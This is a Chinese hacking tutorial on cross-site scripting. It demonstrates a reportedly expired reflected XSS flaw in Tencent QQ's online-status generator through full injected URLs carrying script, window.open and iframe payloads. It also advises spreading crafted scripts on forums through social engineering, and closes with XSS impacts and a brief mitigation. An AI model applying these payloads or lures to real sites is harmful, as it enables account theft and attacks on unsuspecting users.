要进行跨站脚本攻击就必须先熟悉网页语言,所以笔者建议在进行跨站前先把简单的网页语言弄懂。在本小节中我们就以腾讯一个已经过期的脚本执行漏洞为例进行演示,这样不但让读者了解跨站攻击技术,也避免黑客利用公布出来的脚本执行漏洞进行违法行为。
  (1)发现漏洞
  首先我们来看黑客是如何发现这个脚本执行漏洞的。黑客在使用QQ的过程当中,进行QQ设置,发现QQ设置面板个人资料中有一个选项生成在线状态,如图7.54所示。
  图7.54 单击成生在线状态按钮
  单击此按钮跳转到其在线生成状态的网页中,随便输入号码、留言,单击生成网页代码按钮,最后单击预览效果按钮,如图7.55所示。
  图7.55 生成网页代码
  单击“QQ留言图标我们会发现其调用的就是我们输入的代码而做出来的即时交流对话图标,如图7.56所示,我们把IE中此网页的网址复制下来。
  图7.56 把带有脚本执行漏洞的网址复制下来
  将代码复制到文本文件中,然后对此代码进行修改,加入JavaScript脚本,修改为自己的代码来试一下此页面有无脚本执行漏洞,例如我们在加入<script>alert('hack by 我是谁')</script>这句到代码中,这句代码的意思是弹出“hack by 我是谁的消息,如图7.57所示。
  图7.57 修改代码
  代码为:
  is.qq/cgi-bin/webpresence/wpa_demo?MyCode=%3Ca+target%3Dblank+href%3Dtencent%3A%2F%2Fmessage%2F%3Fuin%3D1%26Site%3D1%26Menu%3Dyes%3E%3Cimg+border%3D%220%22+SRC%3D><script>alert('hack by 我是谁')</script><+alt%3D%221%22%3E%3C%2Fa%3E>
  新打开一个IE窗口,将这段代码复制到地址栏并按回车键,这时我们可以发现网页运行后会在下方页面中弹出一个消息框,消息框的内容就是我们设定的“hack by 我是谁,证明脚本执行漏洞存在,可以进行攻击,如图7.58所示。
  图7.58 脚本执行漏洞利用
  试完了后我们还可以继续修改代码,让打开此代码链接的人弹出一个网页,网址为www.itcso。只需将<script></script>中间的代码替换为window.open('www.itcso')即可,如图7.59所示。
  代码为:
  is.qq/cgi-bin/webpresence/wpa_demo?MyCode=%3Ca+target%3Dblank+href%3Dtencent%3A%2F%2Fmessage%2F%3Fuin%3D1%26Site%3D1%26Menu%3Dyes%3E%3Cimg+border%3D%220%22+SRC%3D><script>window.open('www.itcso')</script><+alt%3D%221%22%3E%3C%2Fa%3E>
  图7.59 修改代码为框架弹窗脚本
  还可以利用<iframe src=www.itcso></iframe>来弹出网页,代码为:
  is.qq/cgi-bin/webpresence/wpa_demo?MyCode=%3Ca+target%3Dblank+href%3Dtencent%3A%2F%2Fmessage%2F%3Fuin%3D1%26Site%3D1%26Menu%3Dyes%3E%3Cimg+border%3D%220%22+SRC%3D><iframe src=www.itcso></iframe><+alt%3D%221%22%3E%3C%2Fa%3E>
  如图7.60所示。
  图7.60 修改代码
  小知识:能使用XSS的脚本标签有< SCRIPT>< OBJECT>< APPLET>< EMBED> < FORM>。用于XSS的常见语言有JavaScriptVBScriptHTMLPerlC++ ActiveXFlash
  各种脚本就不在此进行解说了,利用制作好脚本后随便进入一个论坛、贴吧等地方,然后利用社会工程学让对方运行即可。
  入门级读者可以参考光盘中的视频动画进行学习,这样就能更快的了解跨站攻击及各种脚本执行代码的应用。
  XSS是一种破坏安全的方法,它利用了动态生成的网页。在自动弹窗代码XSS攻击中,Web应用程序与脚本一起发送,当它被没有戒心的用户的浏览器阅读,或者被本身对交叉网站脚本不设防的应用程序阅读时该脚本被激活。由于动态网站依赖于用户的输入,恶意用户可以通过将恶意脚本藏在合法的请求中,将恶意脚本输入进网页。常见的使用方法包括搜索引擎对话框、在线论坛以及公众可以访问的博客网站。一旦发起XSS,攻击者可以改写用户设置、盗用账号、留下恶意代码的Cookie、暴露SSL连接、访问受限制的网站、甚至发假广告。避免XSS最简单的方法是给Web应用程序增加能使动态输入忽略某些命令标签的代码。

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。